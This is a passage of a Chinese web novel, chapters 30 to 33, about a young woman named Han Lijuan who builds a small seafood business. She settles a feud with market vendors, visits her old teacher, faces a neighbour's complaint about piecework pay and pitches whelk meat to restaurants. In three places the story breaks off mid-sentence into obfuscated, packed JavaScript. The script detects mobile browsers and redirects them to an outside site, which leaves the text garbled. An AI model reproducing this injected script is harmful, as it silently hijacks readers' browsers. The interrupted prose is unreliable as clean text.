韩丽娟收拾好包，又数了数优惠券，昨晚，为了这些优惠券，她把孙慧，陈大有，姜美凤甚至陈刚刚都叫到一起，他们大人写优惠券，陈刚刚裁纸，盖印章。几个人忙了很久，才做了五十多张优惠券，现在手里还剩几张，今晚还得做。 她想，就是爷爷奶奶们不识字，不会写字，不然她一定发动所有能发动的人，搞优惠券。 趁着现在，她自己先做一点，就当休息了。 等下午出去赶海，回来路过供销社，买点肉，犒劳犒劳大家。 赚了钱也该花一花的。 第二天，韩丽娟刚刚出现在早市，就看到三脸期待。 30. 第 30 章 “来啦。”前两天恶语相向的两个头巾大婶，面带笑容的跟韩丽娟打招呼。 韩丽娟点点头。“来了。” 韩丽娟推着自行车从他们身边路过，两个大婶看见韩丽娟车上那一大袋子的海菜，脸上的肌肉，不受控制的抖了抖。 笑容从脸上掉去，又赶紧爬上来。 “娟子，你今天海菜准备卖多少钱一斤啊？”花头巾看韩丽娟在一个空位前停下，赶紧凑过去，一遍帮着摆摊，一边问。 紫头巾没说话，也跟过来。 “咋地，婶子，我要卖六毛你们就卖5毛呗。”韩丽娟闻言，眼珠子一转，反问。 “那不能！”花头巾赶紧否认。“咱们都是一个早市的，卖的还都是海菜，大家价格别差太多。” “那话咋说来着，想咋卖咋卖，愿意卖几毛就几毛。”韩丽娟将之前两位婶子送她的话，送了回去。 “这小姑娘，哈哈”花头巾嘿嘿笑了两声。“咋还跟婶子们一样的呢，婶子之前那事是不对，都过去了，啊。” 花头巾能屈能伸，她说完给紫头巾跟唐文丽使眼色。 唐文丽转头，当没看见。早晨她一来，也是就被这俩婶子围住，话里话外的意思让她在中间说和一下，她们不想跟韩丽娟闹下去，大家还恢复之前的样子，面上的价大差不差，不恶意涨价或者降价，各凭本事招揽顾客买菜。 唐文丽当时就拒绝了，她不是不想帮，而是帮不了。她在韩丽娟面前说话也没分量，再说，自己闯的祸，总要自己去解决。 紫头巾深吸两口气。调整调整声线，也开口说话。“娟子，你看，这件事你想咋样嘛？” “不是我想咋样，而是婶子们想咋样。”韩丽娟的摊位摆好，正视两个大婶，说道“我一直是想跟婶子们好好相处的，一开始找麻烦的也不是我。” “婶子们如果觉得以后，大家互相拆台，那咱们就互相拆台。婶子们觉得都是卖海菜的，互相照应一下，那咱们就互相照应。” 昨晚睡前，韩丽娟又仔细想了想。未来她不可能把重心放在这个小小的早市上，在这个早市，她如何加油，努力，挣的钱也都是有数的。但现阶段这个早市是她的保本之地，她也不能轻易放弃。所以，如果这两个大婶不闹，她就跟她们和平相处，省下来时间和精力，去做别的。 但这种软话不能她说出口，她如果先退一步，这两个大婶过几天没准又想来一出。这话得让两个大婶来说，她俩认错，然后让她俩定下规则，才不至于三天两头想改想换。 韩丽娟也不怕她俩存小心眼，定一些不利于自己的规则，这俩人现在希望她息事宁人，定然不敢在这上面耍小聪明。 “不拆台，咱们以后都好好的，那你看，咱们这海菜定个什么价？”两个大婶互看一眼，赶紧表态。 “婶子们定吧，我年纪小。”韩丽娟才不能定，她刚刚发了优惠券，第二天就在早市给别人定海菜价格，这要让赶早市的顾客们知道，吐沫星子能把她淹死。 你年纪小，你心眼可多着呢。紫头巾心想，这是怕定了价以后被她俩蛐蛐。 “啊，这……”花头巾心思单纯，她想的是，既然她们服软了，就听韩丽娟的，怎么韩丽娟还听她们的呢，到底啥意思啊，是和好还是没和好啊！ “婶子们支支吾吾的，不会又想给我挖坑吧。”韩丽娟催促一句，上来人了，赶紧的。 “我们昨天在菜市场打探了一下，现在市场里面海菜7毛，7毛5，咱们就定6毛5，怎么样？”紫头巾问。 她心想，还真叫韩丽娟这个丫头说对了，菜市场里紫菜的价格真的降下来了，前一阵没有低于8毛的。这才几天，降了1毛多。 “行，我没意见。我今天这海菜已经赶来了，必须卖，明天我就不带这么多海菜来了，但是我优惠券明天还是要发一天的，我昨天答应顾客们的话，我不能反悔。”紫头巾定了菜价，韩丽娟没有异议。 她知道这两个婶子担心什么，怕的是优惠券多了，她们以后卖不出去，韩丽娟不介意给她们吃点甜枣，虽然她原本就是这么计划的。“婶子们，我这人，人敬我一尺，我敬人一丈。既然你们改了，我也不是那不知好赖的，以后我不会带这么多海菜来卖。” “哎哎哎！”两个大婶长舒一口气。这小姑奶奶终于让步，以后啊，她们可不搞这破事，没挣到钱，惹一身骚。 早市恢复平静，韩丽娟因为发放的优惠券，每天早市的菜卖的很快。有了更多时间出去找市场。 同时，思考是否有其他别的出路。 一转眼，又是一个周末。因为自己的事都步入正轨，韩丽娟想，跟孙慧出去溜达溜达，谁料，孙慧早约了黄雪娜。 “不然，你跟我俩一起出去，咱们三个一起逛呗。”听着韩丽娟也能出去，孙慧还是挺开心的。 “还是不了，你们去吧，我整好去拜访一下程老师。”韩丽娟拒绝了，不是因为黄雪娜比较陌生，而是孙慧跟黄雪娜约好了时间，她是需要送完菜，才能出去的，出发的时间比较晚。 单独跟孙慧俩人，可以让孙慧等，但有了黄雪娜，总不好让人多等。 “就是曾经去过你们村的那个知青老师？”孙慧问。 “对，来之前我奶就嘱咐我，一定要过去看看，之前一直没时间，今天整好周末，程老师应该也休息。”她也没想到，来滨海一个月了，才能有喘口气的时间。 “行，那你去吧，对了，我晚上可能就不回来吃了，我跟黄雪娜在外面吃。”临出门，孙慧告诉韩丽娟。 “路上注意安全。”韩丽娟叮嘱。 “你也是，走啦~”孙慧挥手，出门了。 看看时间，韩丽娟也驮着海菜出门，今天她没去早市，去店里送了货就回来，洗漱一番，换上一身干净的衣服，拎着准备好的礼品，拿着金店长给抄写的路线，坐车前往程老师家。 程老师家住在市里，地址之前邮寄东西，通信的时候就有，只不过她不知道怎么走，是找金店长帮忙打听这个地址路线，金店长把怎么坐车，到哪里倒车，最后做到哪里下车，都给她讲的清清楚楚。 按着地址，下车后，打听了几番，终于，站在一排楼前。“给我称二斤海菜。” 她刚刚准备按照住址找单元，听见有人在买海菜，第一本能以为在跟她说话差点答应，反应过来后，好笑的同时，又想过去看看市里的海菜怎么卖的。 那个卖海菜的就在不远处，骑着一个摩托车，后座一根木梁，吊着两个大竹筐，正在那里给人称菜。她打眼一看，就觉得不对劲。这人的手腕下沉，压到称头了。 “二斤高高的！”韩丽娟走过去，他正收了称，准备收钱。 “你等一下，你这称不对！”韩丽娟过去制止。这人缺斤短两。她拎起那袋海菜，对着正准备交钱的女孩说。“先不要给钱，他这菜不够二斤。” 韩丽娟天天卖菜，大概能估摸出来，这个菜少了点，打开袋子一看，菜湿乎乎的。 “你谁呀，赶紧走，别耽误我做买卖，小姑娘家家的会看什么称啊！”卖菜的那人本来都要收钱了，谁知道来个捣乱的，虎起脸，要来抢回那袋海菜。 “够不够，你再重新称一次就知道了。”韩丽娟将海菜往身后一藏，要伸手去拿小贩的称。 小贩赶紧回身，压住自己的称，又回来要抢那袋海菜。这个小贩人高马大的，还虎着脸，很是吓人。 “这菜我不要了！”那个年轻姑娘一看这架势，就知道这卖菜小贩看她像什么都不懂的样子，骗了她。她站到韩丽娟身边，俩人一起对着这个小贩，她伸手拽了拽韩丽娟的衣袖，她们俩女孩子，对上那个小贩，不一定是对手，不能硬碰。 “今天周末，各家各户都有人，你卖菜作假被捉，还想欺负人不成，我要是你，就趁着人少，赶紧走，不然吵嚷起来，大家都能看到，以后这片的生意你都做不成！”韩丽娟也明白，感受到胳膊上的拉扯，将菜扔回那个小贩的菜筐里。对那小贩说道。 “对，赶紧走，再不走，我就喊啦！”那个年轻姑娘也说。 那小贩听了二人的话，朝四周看了看，发现已经有人关注到这边，伸手指着韩丽娟跟那个姑娘，嘴里嘟囔两句，骑上车，走了。 二人同时松口气，韩丽娟才有时间打量对面的女孩，看年纪应该跟她相仿，瓜子脸，身材细长，梳着俩宽松的麻花小短辫，白色花点衬衫，黑色阔腿裤子，穿在她身上，既宽松又合身的感觉。 对面的姑娘也在打量韩丽娟，身高跟她差不多，穿着朴素但干净。鹅蛋脸，两条黑黝黝的大辫子垂在胸前。眉毛黑而整齐，眼睛大而有神，嘴角微翘，她亭亭玉立的站在那里，既有着劳动者的结实，还有这属于姑娘的纤细，一看就健康的很。 “谢谢你。”姑娘眼睛笑成弯月，对韩丽娟说道。“出门前，我小姨还叮嘱我，千万别上当受骗，结果，还是差点被骗。” “一般不怎么用称的人，都不会注意他作假的细节，被骗也正常，我是卖货卖久了，菜能看出来。”韩丽娟刚刚开始收货卖货，她老叔教她的就是如何识别假称假杆。 “而且他那海菜也不好，我也是卖海菜的，一眼就看出掺了水的。”韩丽娟接着说道。 “你也是卖海菜的！”姑娘惊讶，然后开始看韩丽娟手上拎着的兜子。卖海菜就拎这么点出来卖吗？ “我今天是来串门的，这兜里确实有点海菜，但是是要送人的。”韩丽娟赶忙解释。“对了，跟你打听一下，五号楼怎么走。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115827|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >韩丽娟心想，对方一定是住在这附近，对楼号比较熟悉。 “我也是五号楼的，我带你过去，你是谁家的亲戚呀。”年轻姑娘热情的领路，一边走，俩人一边闲聊。 “我找一位姓程的老师。”韩丽娟说。 “姓程？”姑娘又惊讶。“女的？”“三十多岁？”“小学老师？”接着她问出一连串问题。 “对。”韩丽娟点头，你认识？ “那是我小姨！”年轻姑娘没想到，出来买个菜，竟然遇到来看她小姨的人，急忙带人回家。 “小姨，小姨，家里来客人啦！”刚刚到楼下，姑娘就开始喊。 “是谁来了呀。”在楼上的程老师听到声音，赶忙开门出来迎接，但“你……”她打量眼前这个姑娘，似曾相识。 “程老师。”韩丽娟看着走出来的女人，依稀有着记忆中的模样，“我是富裕村，韩爱国跟……” “你是韩四哥四嫂家的孩子，你是丽娟？”韩丽娟刚刚一提起父亲的名字，程老师立即反应过来，四个四嫂有两个女儿，小女儿才十六七，眼前这个应该是大女儿韩丽娟。 韩丽娟点头。 “快进来，你是怎么来的……”程老师问完，也没等韩丽娟回答，就拉她进屋，接着就是一连串的问题。 韩丽娟任由程老师将他拉进屋，一个个的回答她的问题。 “十多年没见，你都这么大了。”程老师仔细打量韩丽娟，感慨道。 “韩丽娟，你好，我叫方虹，程老师是我小姨，我今年21岁，你呢，多大了？”这边，方虹也终于有机会介绍一下自己，她们刚刚在楼下虽然认识，但还没来得及互通姓名。 “我今年20岁。”韩丽娟回到，方虹年纪比她大一点。 “对对，你看我，激动的都忘记给你们介绍。不过你们刚刚一起上楼，虹虹还知道你是来找我的，你们是怎么……？”程老师激动过后，就是好奇，他们之前不认识，怎么方虹下个楼的功夫，就认识了？ 方虹虽然开朗，但对陌生人，她很少主动说话，就算娟子问路问到她，她也有些过于热情。 二人讲了一下刚刚事情的经过。 “你们俩的胆子，真是太大了，娟子，尤其是你，下次遇到这样的事情，可要万分小心。”程老师听后，免不得替俩人后怕。 韩丽娟跟方虹互看一眼，双双点头。 插曲过后，程老师拉着韩丽娟的手，打听一些村里的消息，问问大家的近况。哭一会，笑一会，硬留着韩丽娟吃饭，她去做饭的时候，让方虹陪着韩丽娟。 程老师的爱人常年出差，方虹在滨海读大学，周末来小姨家陪着小姨跟弟弟。 两个年轻人第一次见面，因为年龄相仿，都不是内向的性格，加上刚刚一起打退不良商贩，很有话聊。 韩丽娟羡慕好奇方虹大学生的身份，方虹佩服韩丽娟这个年纪敢单枪匹马出来闯荡。 俩人聊了很多，互相分享自己觉得有趣的事，也会问一些自己没经历过的事情。 “学校有教人做买卖的书吗？”韩丽娟问方虹，韩丽娟听说大学什么都教。 “如果你想问的是那种手把手教人一二三四如何做买卖就能赚钱的，我想应该是没有，不然大家都买一本书去做买卖就好了。但我想应该会有一些教人如何更好地卖货，管理货品或者人的书。”方虹不是相关专业。“我回学校后，帮你打听打听。” “那太好了。”韩丽娟很高兴，她没想到来到程老师家还有意外收获。 “因为你看书不是为了考试和得分，而是为了解决自己的疑惑，提升自己在某个领域的技能，所以，我的想法就是你先做自己想做的事情，不用太急照搬书本，因为书本里的知识太多了，理论性的东西，要完全去结合实际才能发挥作用。当你自己做了很多，发现自己想要在某些方面有所突破的时候，带着这个问题去看书，比笼统的看要更有收获。”方虹跟韩丽娟说的这些话，也是方虹的老师们教导她如何自我提升时说的话。 “就是我现在可以看，但不要所有的事都听书里的，等自己会的多，懂得多，再去仔细的看，才能理解书本的意思，然后明白书里方法如何使用？”韩丽娟听完方虹的话，思考半天，按照自己的理解解释了一下。 “对！”方虹称赞道。“你好聪明！” 韩丽娟从程老师家里离开，已经挺晚，到家的时候，天已经完全黑了，她刚刚到家，就见一个中年妇女，气势汹汹走进她们这个小院。 “韩丽娟！”中年妇女喊道。 找她的？ 韩丽娟觉得这个人眼熟，但也不完全熟，她跟她应该没什么关系吧，找她干什么，看这架势，是要打架。 她最近没得罪村里的人吧！ 31. 第 31 章 韩丽娟走出门，看到妇女身后跟着一个老太太。 这个老太太她认识，是跟着她系海带结的。 “韩丽娟，我问你，我们家老太太是不是在你这拿的海带结回家系。”妇女气势冲冲的走到韩丽娟面前，开口就问。 “对。”这事很多人都知道，也没啥好隐瞒的。 “你一斤赚我们家老太太一分钱，是不是。”妇女接着问。 这时候老太太也赶过来，拽这妇女的手。“你干啥呀，赶紧回去。” “娟子，不关你的事，这事我们家里内部的事，我们回去解决，你这是出门刚回来吧，赶紧歇着。”老太太一边看着自己的儿媳，一边跟韩丽娟解释。 “哎呀，妈！”妇女挣开老太太拦着的手。“你咋胳膊肘子往外拐，我这是为了你好。” “我问你，是不是一斤转我们家老太太一分钱。”妇女又追问韩丽娟一句。 “对，我是一斤赚你家老太太一分钱，有什么问题吗？”一斤赚一分钱的事情，她也没瞒着这些老人，大家都知道，都同意的。 听见门口的争吵声，隔壁王奶奶出门来。 “这是干什么，老刘太太，咋回事？”她问那个老太太。 “哎。”老太太叹气。“刚刚在家系海带结，一边干活一边唠嗑，他们两口子问，这玩意一斤多少钱，我说一斤一毛，他们就说，这娟子怎么那么好心帮着分货记账啥的，我说娟子也赚钱。他们就问赚多少，这有啥好瞒着的，我就说了。谁知道，我说完，他们两口子不愿意了。”老刘太太摊着双手，无奈的说。 “凭啥呀，你干啥了你，一斤就要赚一分钱啊，你这也太黑心了吧。”妇女听到韩丽娟承认，一掐腰，冲着韩丽娟嚷嚷。 韩丽娟明白了，这是嫌她赚的多了。 “是这样，我从来没瞒着大家，最开始老太太来找到我的时候，就说明了一斤我要赚一分钱，同意才干的，你要是觉得不合适，可以不干。”韩丽娟不觉得自己赚一分钱多。 他们这海带结，并不是每一根都很规整，有很多切出来的海带条长度短，或者过宽，或者就是货里本身就有一些零碎的海带，这些破烂货，韩丽娟在分配的时候，从来不给这些乱七八糟的分给爷爷奶，都留给了自己。而是把容易系的，好系的都给了这些老人。 其实无形中也拉低她的工作效率，但因为她从这些老人们身上抽钱，所以，她觉得这些是应该的。 “合适，合适，我没觉得不合适。”刘奶奶一听，赶紧表态。 “妈，你要是愿意系，我让家明下班回来去养殖场那边给你接回来点，你就系呗，那边养殖厂附近有好几家做这个的，都能接活，一斤一毛一，一天多赚一毛，一个月还多赚三块呢，那不够打酱油的了吗！”妇女听老太太的话，赶紧劝她。 她搞不懂，有多赚钱的路子，为啥要留在韩丽娟这赚这点钱。“娟子，那就说定了，我妈手上这点活干完，就不在你这接活了。” 既然已经跟韩丽娟说清楚，妇女三言两语就替刘老太太做决定。 “我不同意！”韩丽娟没说什么，老刘太太突然一声爆喝。 “我就在娟子这接活，咱们走，回家。”说完，老太太拉着妇女就要走。 “哎呀，你慢点。”老王太太过去扶着老刘太太，这么大岁数，跟年轻人拉扯，能拉扯过？一不小心摔一跤那可是可严重的事儿了。 “哎呀，这是怎么了。”左邻右舍的人这功夫都出来了。几个在韩丽娟这接活的老头老他太太凑过来。 问清缘由后，都劝那个妇女。“小温啊，你妈愿意在娟子这接活，就在这接呗，还不用你们两口子操心，你说你们两口子管那么多干啥。” “韩丽娟给你们吃什么迷糊药了，你们一个个的都向着她说话。”妇女不解。“我让刘家明去海带养殖场那边接，就不用麻烦娟子了，我又不是害我们家老太太，这还不是为她好。” “我不用你为我好，我自己想找谁干活就找谁。”刘老太太压根不领他儿媳妇的情。“别以为我不知道你们两口子打的什么主意，你们去接活，你们把钱接了，那还能给到我的手吗？”老太太也不在乎说出去丢不丢人，就嚷嚷开了。 “妈，你说啥呢，我们能要你的钱吗。”老太太儿媳妇一听，急忙否定。 “你们两口子在我这说的话就跟放的屁一样，放屁还有点味道呢，你俩说的话连个影都没有，我才不信能把钱给我，去年秋天你在家待着没工作，咱俩去养殖场夹苗，赚的钱都揣你们两口子兜里了，给我一分了吗！” 经历过一次，老刘太太才不信他们会把钱给她。“我一天在家，给你们做饭看孩子，我要你俩一分钱了？我自己想赚一点，你们还紧着往自己兜里划拉！”既然都说出来，老太太索性说个痛快。 “我今天就把话放这，你俩要么别管我，要么就把我送回老家，我回家跟你爸种地，我活个舒舒服服，这一天，我自己还不能做自己的主了！” “哎呀，你快消消气，别生气。”周围的几个老人忙劝到。 “气死了，这两口子，也不知道好歹，上人家娟子这来闹，你说我能不生气吗！”老刘太太气的直哆嗦。 老太太儿媳妇被说的脸红一阵白一阵，拍着大腿就要嚎。“小温，这么多人看着呢，你家还要闹成啥样，让所有人看笑话啊！”老王太太赶紧劝住，围观的人越来越多。 妇女一听，赶紧把到嘴边的哀嚎收回去。 “娟子，你别跟她一样的，她说的不算，我还在你哈。”老刘太太白了一眼儿媳妇，过来跟韩丽娟商量。 “刘奶奶，经过这一闹，没准您儿子儿媳就不能拿你的钱了，自己去接活，一斤能多赚一分，也是不错的。”韩丽娟完全是从老人角度思考。 “不用，我们都知道，你把好活都留给我们，自己干那些不出活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121101|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的零头，娟子，我儿媳说的话你别往心里去，她不懂，但是我们懂，你是为了我们好的。” 老人们岁数大，但不糊涂，娟子这里干活省事，小姑娘从不压他们的钱。 “就是，就是，娟子，你可别瞎想，我们可都觉得你好呢，我们都愿意跟着你干。”其他老头老太太也赶紧说。 “妈，回家吧。”这时候，老刘太太的儿子刘家明也过来，耷拉着脑袋，过来悄默声的找他妈他媳妇。 “你咋才来。”他媳妇看到刘家明，一腔怒火全都发在他身上。 “你家老爷们你第一天认识啊。”老刘太太也看不上她儿子这股子窝囊劲，啥事让自己媳妇出头，自己闷不声的。 以前也不这样啊！ “那不是你……”刘家明想说，那不是你告诉我，让我看情况出现的，但看见他媳妇瞪着的眼睛，没敢说。 “大家都回家吧，没啥事了，就是误会一场，解开了，就都好了。”韩丽娟看人还有变多的趋势，赶紧让大家散了。 “娟子，你吃饭没，来我家吃口饭。”人群散开后，王奶奶邀请韩丽娟。 她看跟她一起拿小姑娘还没回来，韩丽娟刚刚到家，应该还没来得及做饭。 “不用，王奶奶，我家里有现成饭。” “娟子，我们就先走了，你吃了饭赶紧休息，明儿我们再过来哈。”在她这干活的老人们一个个也离开。 姜美凤把韩丽娟拉回去。“要我说啊，你就不应该管他们，哪哥雇人干活的，不赚钱，你这也算雇这些老人干活，赚点钱还不乐意。” “我说娟子，你现在也不少挣，一个月给他们派活，赚这二三十，还被人指着鼻子骂黑心，何苦呢。”越说，姜美凤越替韩丽娟委屈。 “美凤姨，这赚点，那赚点，才能赚到钱啊。再说，这些老爷爷老奶奶们，我有大用呢。”韩丽娟没被这事儿影响，相反，她今天看到的是爷爷奶奶们都维护她，他们之中没有人说她的坏话。 “咋，他们有啥大用。”姜美凤不懂。 “过一阵你就知道了，美凤姨。”韩丽娟卖了一个关子。 “行行行，我不问，咱们先吃饭。” 第二天，韩丽娟又去找了金店长。“店长，再过半个月左右，海菜就过季了，你们这边有啥新想法没？” “我这两天正在合计。”金店长给韩丽娟倒了一杯水，放在她面前的桌子上。“怎么，听你的语气，你有什么想法？” “金店长，你吃过波螺肉馅的馄饨吗？”韩丽娟问。 “听说这是一道功夫菜啊，波螺肉好吃，但是不好扒，这也是你之前跟我推荐波螺我没接话的原因，店里的人员安排不过来，没有那么多的人手扒波螺肉。” “我有。”韩丽娟接过话。同时，她从包里拿出一个饭盒。“这是我今天早晨刚刚扒的，金店长，您可以让后厨做了尝尝，如果好，我这边可以供货。” 32. 第 32 章 金丹桂结果来。“好，我想一想，但如果这次可以，估计不会像海菜那般，毕竟这个价格，含有人工费用，想来就不会太低，如果我选择上新，会现在我这个店做试点，确认可以，才会推给我们老板，所以前期不会需要太多。” 海菜每天十几二十块的支出，对于金店长来说完全是件小事，但如果用波螺，月度费用可能需要过千，甚至几千，支出这么一笔钱，对于一个早餐店，是需要慎重考虑的。 “谢谢金店长，您愿意用，我就万分感谢，哪里还会嫌多嫌少呢。”韩丽娟听到金店长的回答，第一反应是感谢和惊喜。 金店长对她，特别照顾。 告别金店长，韩丽娟又开始了新一轮开发客户之旅。 这一次她要推销的是波螺肉，跟海菜不一样，这次她盯住的是县城里所有高档的饭店。 来滨海一个多月，她对这座县城已经很熟悉，哪里的饭店比较高级，她门清。 “您好！” 韩丽娟开门，进了一家饭店，滨海的饭店，不管是否主打，都会有一些海鲜产品，所以，韩丽娟不怕店面不做海产品相关菜品。 “您好。”韩丽娟刚刚进门，立刻有服务员迎了过来。“我们现在正在开门，点餐需要等稍等一会。” “您好，我是香波螺肉生产厂家，来跟你们经理洽谈，请问他在吗？” 毕竟是有过推销经验的人，韩丽娟现在很是能唬住人。 “哦？”店员先是愣了一下，但看韩丽娟面容坚定，好像真的是有一个了不得的大事找她们经理。“这边请。” “经理，这边有个厂家找您。”服务人员将韩丽娟带到饭店经理办公室。 饭店经理是一个三十左右的男性，闻言抬头，皱着眉。 “经理，您好，我是香波螺肉生产厂家，咱们县有几家比较高档的饭店用的都是我家的产品，我想您家应该也需要。”韩丽娟适时插话。 经理点点头，“你好，坐。”他随意的说道，并示意服务员可以离开。“能说一下哪几家饭店用的是你家产品吗？” 经理开门见山，做饭店的，对同行别家供货商都是感兴趣的。 “出于对饭店负责，我不好透露是您哪个同行，但其他的，比如早餐店，咱们县最好的早餐店《晓闻连锁早餐》用的就是我的供货。” “那个从市里开过来的那家？”虽然晓闻是家早餐店，但是人家是连锁，所以，业内也是知晓的。 “对。”韩丽娟说起谎来不慌不忙。 “没怎么听说谁家上香波螺肉的产品呀。”这个经理也不是一个尸位素餐的人，对其他店还是有所了解的。 “我们厂今年才开始推销这个产品，这几家也是最近才开始，您这边没听到消息也正常。毕竟我今天才来这边，我呢，一个区域只供应一家店。” 这些说辞，韩丽娟都是早都想好的。推销多了，对于一般的人会问什么问题，她心里也有预设，然后自己预设答案。 在预设的这个过程，还能自己完善一些自己做生意的思路。 比如她现在说的这个区域选择供应。 “香波螺肉就是香波螺里面的肉扒出来的是吧。”店经理问。“什么价位？” “看您选择什么档位。”说完，韩丽娟从包里掏出一个塑料袋，塑料袋里有两堆波螺。“您看这个大小，不同大小的波螺，它扒出来的肉会有一些差距，我们这分优等和一般，优等的要贵一些，一斤15，普通的便宜，一斤13元。但不管优等还是普通的，都是保证大小均匀。” 韩丽娟很敢要价，因为她刚刚进来，看这个饭店的价位都不便宜。 “有些贵。”店经理观察那两堆波螺，肉眼可见，大小不一致。“难道不应该是越大越便宜些，毕竟大的压秤，好扒的很。” “不是的，优等的波螺，它的进价也高，而且优等的不仅仅是大，还尽量保证每一个肉的完整，我们还有更通用的产品，那种就是里面什么样的都有，只扒出来一半的，不分大小的，更便宜，，一斤11元。” 韩丽娟解释。 “这样。”店经理伸手拿起桌子上的一支笔。“你明天给我带一斤优等，一斤不分大小的。” 波螺肉是功夫菜，店里一直想上，但没上，就是不好把控质量，影响店面招牌，既然这个“对了，看你进门咱们就讨论波螺肉，还没问你贵姓。” 想到这里，经理才想起，俩人还没互通姓名。“我姓周，周平安。”经理站起来，自我介绍。 “免贵姓韩，韩丽娟。”韩丽娟也说。“那我明天带货过来，我看你们正忙着开门，我也不多打扰了。” 既然初步有了合作意向，韩丽娟准备回去赶紧安排爷爷奶奶们开工。 “对了，你刚刚说，你一个区域只谈一家店，既然跟我家有了意向，这附近的其他店……”周经理话说一半，未尽之意就是，其他店就不要去了。 “那当然，周经理放心，如果我们明天不能达成合作，我再去这附近其他门店，但我相信，我们的合作会成功的，因为截止目前，我谈的所有店面，都是成功的。” 她只谈了金店长的店面，金店长答应她考虑，四舍五入，就是成功。 “好，那我们明天见。” 从酒店出来，韩丽娟骑上自行车，接下来的时间又要开始忙碌，她先去市场找筛子。 但转了一圈，没找到合适的。 现在世面上的筛子孔都太小，时间紧，来不及耽搁，她自己买了结实的铁丝跟木条，准备回去自己做一个。 然后去找郭大娘，让郭大娘找人捡波螺，海菜就是四十斤，另外要四十斤的波螺，等赶完海，她来拿。 回到家，去找王奶奶。“王奶奶，您把大家叫来，我有事要说。对了，都带着凳子哈。” 看韩丽娟急匆匆的样子，王奶奶也没多问，先把大家都叫来。 现在正是上午最悠闲的时候，上班的都走了，家里乱七八糟的活都干完，爷爷奶奶们都在专心的系海带结，听着韩丽娟找，都放下活计，过来。 “啥事呀？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124409|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上，几个奶奶拎着凳子，凑到一起，娟子可不是那种三天两头给人叫过去闲聊的。 “是不是昨天老刘太太那事儿啊？”有个老太太问。 “你别说，还没准。” “别瞎说，不能，娟子这孩子可不是记小仇的人。” 众人七嘴八舌，很快就到韩丽娟家。 “爷爷奶奶，咱们今天把手头的海带结放一放，先帮我干点别的活。”见人都来齐了，韩丽娟也不客气，有话直说。 啊，原来是这事啊，刚刚讨论的几个老太太，尤其是老刘太太，放下心。“娟子，你说干啥，我们都帮你。” 她最先表态。 “林爷爷，你一会帮我做个筛子。”韩丽娟见大家没有反对意见，就安排到。“各位奶奶呢，一会扒波螺肉，上午呢，还是先教大家这活怎么干，等下午，我带回更多波螺，咱们就正式开始，不白干，都有钱，不过现阶段，可能会赚的少一点。如果，这活咱们做的好，我保证大家比系海带结挣得多。” 韩式大饼，量永远给的足足的。 老人们一听，还有什么不愿意。“行，娟子，你说咋干。” 发动了大家的热情，韩丽娟先告诉一堆老人里唯一的老头林爷爷，她想要一个什么样的筛子，主要的洞口的大小。 林爷爷动手能力毋庸置疑，这个年代，很多人的动手能力都是很强的，手搓一个筛子，轻而易举。 然后韩丽娟带着奶奶们，先把她剩下的一小盆波螺煮了。 “各位奶奶，伸手。” 放下桌子，各位奶奶做好后，韩丽娟最先让她们伸手。 几人你看看我，我看看你，不知道这事咋回事，但大家还是听话的把手伸出来。 各式各样的姿势都有，有手心朝上，有手背朝上，还有伸出来自己翻来覆去看的。 韩丽娟挨个检查老奶奶们的指甲盖。 “咱们干这个活呢，主要是要卫生，这个活只能在我的监督下完成，要求各位奶奶，指甲盖里要干净，指甲不能太长，还有头发，要搂起来。”韩丽娟一边检查，一边说。 老奶奶们也不是不卫生，只不过是在家里要忙很多，甚至是农活，指甲里有泥土正常不过，但是她做的这个活，是十分注意细节的。 韩丽娟检查完，让其中不合格的奶奶修剪指甲。“娟子，我这么多年一直习惯留小拇指甲，不能留着吗？”有个老奶奶舍不得剪。 “不能！”韩丽娟摇头。“奶奶，您是要指甲，还是想赚钱？”韩丽娟灵魂发问。 那还用说，当然是想赚钱了呗。老奶奶不过是试探性的问，看能不能通融，发现韩丽娟不通融，就剪了。 “以后每一天上工前，我都会检查。”韩丽娟说。 检查完指甲，韩丽娟开始给大家发放工具——细针锥子，口罩还有每人两个小盆。 “这是干啥？”众人拿到工具有些不懂，锥子和盆可以理解，扒肉吗，总要有扒的工具跟装的工具。 那咋还一人俩盆呢，咋还有个口罩？ 33. 第 33 章 “口罩，干活的时候需要带的，这个每人发两个，脏了自己洗。盆，一个装完整的波螺肉，一个装不完整的，完整和不完整的是两个价。”韩丽娟一边示范口罩怎么带，一边解释。 大家有样学样，韩丽娟拿出针，“波螺上面的这个盖，全都不要，只要里面的肉。” 奶奶们虽然年龄大，眼睛有一些花，但是这个不要求精准，也是能看见的， “针扎下去后，这么旋转着往外拽。”韩丽娟拿起一个波螺，给大家扒了一个。 “这玩意这么小呢。”一个奶奶扒拉一个，一看，小蝌蚪似的。 